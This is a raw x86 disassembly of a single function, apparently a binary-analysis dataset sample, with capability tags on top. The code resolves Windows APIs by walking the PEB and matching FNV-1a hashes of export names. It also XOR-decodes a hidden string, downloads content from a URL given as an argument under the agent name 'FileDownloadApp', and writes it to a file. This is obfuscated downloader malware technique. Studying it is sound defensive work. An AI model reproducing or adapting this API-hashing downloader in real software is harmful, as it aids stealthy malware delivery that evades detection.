Function at 0x401440
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407085
mov eax, dword fs:[0]
push eax
mov eax, 0x1030
call fcn.00407030
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov eax, dword [str.YRS_]
movq xmm0, qword [str.B_YQW_O]
mov dword [ebp - 0x1034], eax
mov eax, dword fs:[0x30]
movq qword [ebp - 0x103c], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x101c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40151a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40151a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0x973f22dd
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40150d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4014f0
cmp esi, 0xa4ac6317
je 0x40151e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4014d0
mov eax, dword [eax]
jmp 0x4014a0
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x101c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
cmp dword [0x40b6cc], 2
mov dword [ebp - 0x101c], edx
jl 0x401670
movaps xmm2, xmmword [0x4084e0]
mov eax, 5
movaps xmm3, xmmword [0x408530]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm4, eax
psrad xmm1, xmm4
mov eax, 0x1f
mov dword [ebp - 0x101c], edx
movaps xmm0, xmm1
movd xmm5, eax
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4084f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
movd xmm0, dword [str.B_YQW_O]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x103c], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
movd xmm0, dword [ebp - 0x1038]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
xorps xmm1, xmm0
movd dword [ebp - 0x1038], xmm1
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x101c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x101c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x103c], cl
inc edx
mov dword [ebp - 0x101c], edx
cmp edx, 0xc
jl 0x401670
lea eax, [ebp - 0x103c]
push eax
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x101c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40173a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40173a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0xfe420399
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40172d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401710
cmp esi, 0xacbe03b
je 0x40173e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4016f0
mov eax, dword [eax]
jmp 0x4016c2
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x101c]
push 0
push 0
mov eax, dword [esi + 0x24]
push 0
push 1
push str.FileDownloadApp
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x101c], eax
test eax, eax
je 0x401917
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x1024], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1020], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x102c], ecx
cmp ecx, esi
je 0x40181a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40181a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1018], ecx
dec edi
mov esi, 0xa0aad161
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40180d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4017f0
cmp esi, 0x628bce0
je 0x40181e
mov ecx, dword [ebp - 0x1018]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4017d0
mov eax, dword [eax]
jmp 0x4017a0
mov esi, dword [ebp - 0x102c]
mov edx, dword [ebp - 0x1020]
push 0
push 0x80000000
mov eax, dword [esi + 0x24]
push 0
push 0
push dword [ebp - 0x1024]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x101c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x102c], eax
test eax, eax
jne 0x401998
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1020], ecx
cmp ecx, esi
je 0x4018ea
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4018ea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1024], ecx
dec edi
mov esi, 0x17b48712
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4018dd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4018c0
cmp esi, 0x6278f6e7
je 0x4018ee
mov ecx, dword [ebp - 0x1024]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4018a0
mov eax, dword [eax]
jmp 0x401872
mov esi, dword [ebp - 0x1020]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x101c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x1025], 0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40194e
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401944
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401992
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x401d8d
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401d83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401d83
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1018], eax
cmp eax, 0xffffffff
jne 0x401b12
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1020], ecx
cmp ecx, esi
je 0x401a5a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401a5a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1024], ecx
dec edi
mov esi, 0x291da669
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401a4d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401a30
cmp esi, 0x4b1412ca
je 0x401a5e
mov ecx, dword [ebp - 0x1024]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401a10
mov eax, dword [eax]
jmp 0x4019e0
mov esi, dword [ebp - 0x1020]
mov edx, dword [ebp - 0x1018]
push dword [ebp - 0x102c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1018], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1020], ecx
cmp ecx, esi
je 0x401b0e
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401b0e
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1024], ecx
dec edi
mov esi, 0xb81638c1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401b01
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401ae0
cmp esi, 0x93179532
je 0x4018ee
mov ecx, dword [ebp - 0x1024]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401ac0
mov eax, dword [eax]
jmp 0x401a93
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1030], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x1020], ecx
cmp ecx, edx
je 0x401b9a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401b9a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop dword [eax + eax]
sub ecx, 4
dec edi
mov dword [ebp - 0x1024], ecx
mov esi, 0xc8866f78
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x401b8d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x401b70
cmp esi, 0x5004b773
je 0x401b9e
mov ecx, dword [ebp - 0x1024]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x401b50
mov eax, dword [eax]
jmp 0x401b20
mov esi, dword [ebp - 0x1020]
mov edx, dword [ebp - 0x1030]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x1014]
push ecx
push 0x1000
lea ecx, [ebp - 0x1010]
add eax, edx
push ecx
push dword [ebp - 0x102c]
call eax
test eax, eax
je 0x401c05
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x401c05
push 0
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401b12
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1020], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1024], ecx
cmp ecx, esi
je 0x401c9a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401c9a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1030], ecx
dec edi
mov esi, 0x398b9e89
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401c8d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401c70
cmp esi, 0x4765ebaa
je 0x401c9e
mov ecx, dword [ebp - 0x1030]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401c50
mov eax, dword [eax]
jmp 0x401c20
mov esi, dword [ebp - 0x1024]
mov edx, dword [ebp - 0x1020]
push dword [ebp - 0x102c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1020], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x1024], ecx
cmp ecx, esi
je 0x401d4a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401d4a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1030], ecx
dec edi
mov esi, 0xbc751373
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401d3d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401d20
cmp esi, 0x7bfa4e24
je 0x401d4e
mov ecx, dword [ebp - 0x1030]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401d00
mov eax, dword [eax]
jmp 0x401cd3
mov esi, dword [ebp - 0x1024]
mov edx, dword [ebp - 0x1020]
push dword [ebp - 0x101c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov byte [ebp - 0x1025], 1
jmp 0x40191e
push ecx
push edx
call fcn.00406247
add esp, 8
mov al, byte [ebp - 0x1025]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406209
mov esp, ebp
pop ebp
ret 0x30